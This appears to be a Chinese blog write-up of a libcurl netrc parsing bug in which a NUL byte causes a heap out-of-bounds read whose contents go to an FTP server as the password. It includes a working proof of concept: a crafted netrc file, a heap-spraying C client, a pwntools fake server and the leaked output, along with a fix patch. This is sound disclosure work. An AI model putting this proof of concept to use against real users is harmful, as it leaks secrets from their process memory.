libcurl netrc文件解析漏洞导致敏感信息泄露

本文详细分析了libcurl在处理恶意netrc文件时存在的堆边界读取漏洞,攻击者可通过精心构造的netrc文件导致敏感内存数据泄露,包括技术原理、PoC示例和修复方案。

libcurl netrc文件解析漏洞导致敏感信息泄露

漏洞概述

libcurl在commit 879b6075a1132c137920060ed262b3f5a58c18c2版本中存在一个安全漏洞,攻击者可以通过恶意构造的netrc文件诱使libcurl读取超出堆块边界的数据,并将这些数据通过网络发送给攻击者。这可能导致敏感信息的泄露,包括堆上的指针或其他机密数据。

技术细节

漏洞位置

漏洞存在于lib/netrc.c文件的parsenetrc()函数中,主要涉及对变量tok和tok_end的处理:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
const char *tok = netrcbuffer;
while(tok && !done) {
  const char *tok_end;
  
  // [...]
  
  tok_end = tok;
  if(!quoted) {
    size_t len = 0;
    CURLcode result;
    while(*tok_end > ' ') {
      tok_end++;
      len++;
    }
    
    // [...]
  }
  
  // [...]
  
  tok = ++tok_end;
}

漏洞原理

tok和tok_end指向.netrc文件中行内的各个令牌。然而,如果令牌以\x00字符结尾,循环会读取超过NUL终止符的内容,并继续解析行后的随机堆数据。

示例恶意行:

1
machine 127.0.0.1 login username password\x00 nothing-suspicious-here

当解析器到达password\x00时,它将\x00视为令牌分隔符,tok_end指向该字节,但在循环结束时通过++tok_end递增。随后的循环迭代继续解析NUL终止字符串后的数据。

PoC验证

生成恶意netrc文件

1
echo -en 'machine 127.0.0.1 login username password\x00 nothing-suspicious-here\n' > poc.txt

libcurl客户端代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#include <stdlib.h>
#include "curl/curl.h"

int main (int argc, char** argv) {
    /* 在堆上预填充示例数据 */
    char* spray = malloc(32 * 1024);
    for (int i = 0; i < 32 * 1024; ++i) {
        spray[i] = 'A';
    }
    free(spray);

    /* 开始传输 */
    CURL* curl = curl_easy_init();
    curl_easy_setopt(curl, CURLOPT_URL, "ftp://127.0.0.1:1337/");
    curl_easy_setopt(curl, CURLOPT_NETRC, CURL_NETRC_REQUIRED);
    curl_easy_setopt(curl, CURLOPT_NETRC_FILE, "./poc.txt");
    curl_easy_perform(curl);
    curl_easy_cleanup(curl);
}

演示服务器

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#!/usr/bin/env python3

from pwn import *

with listen(1337) as conn:
    conn.wait_for_connection()
    conn.sendline(b"220 Hello\r")
    line = conn.recvline()
    assert(line == b'USER username\r\n')
    conn.sendline(b"331 continue\r")
    line = conn.recvline()
    print(line)

输出结果

1
b'PASS AAAAAAAAAAAAAA\r\n'

这表明未初始化的内存内容被发送,而不是提供的密码"nothing-suspicious-here"。

攻击场景

当受害者使用攻击者提供的恶意.netrc文件连接到恶意主机时,秘密内存内容会被传输给攻击者。攻击者可能通过预先的堆修饰来控制传输的数据内容。

修复方案

以下补丁通过限制tok_end允许的字符为空白字符来修复该漏洞:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
diff --git a/lib/netrc.c b/lib/netrc.c
index 7df3f17fc..2f80df36c 100644
--- a/lib/netrc.c
+++ b/lib/netrc.c
@@ -165,7 +165,7 @@ static NETRCcode parsenetrc(struct store_netrc *store,
           tok_end++;
           len++;
         }
-        if(!len) {
+        if(!len || (*tok_end != ' ' && *tok_end != '\n' && *tok_end != '\r')) {
           retcode = NETRC_SYNTAX_ERROR;
           goto out;
         }

影响评估

泄露内存内容可能有助于利用其他内存损坏漏洞来实现远程代码执行(RCE),特别是用于泄露指针值时。这可以绕过ASLR和PIE等利用缓解措施。或者,它可以用于泄露应用程序先前使用并在堆上分配的秘密。

由于该漏洞很容易通过单个NUL字节触发,且\x00不可打印,受害者难以发现,最终敏感数据通过网络发送给攻击者,建议严重性评级为中等。

讨论记录

开发团队最初认为这不是安全问题,而是普通bug,因为:

  • .netrc文件应有正确的文件权限和位置
  • 如果攻击者能修改.netrc文件,他们已经具有更大的攻击面

但研究人员坚持认为:

  • libcurl不验证CURLOPT_NETRC_FILE指向的文件权限或位置
  • 只要libcurl允许从任何来源读取netrc文件,这些文件就在信任边界之外
  • libcurl需要针对无效输入进行强化

最终团队同意修复该漏洞,但将其分类为"信息性"而非安全漏洞。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计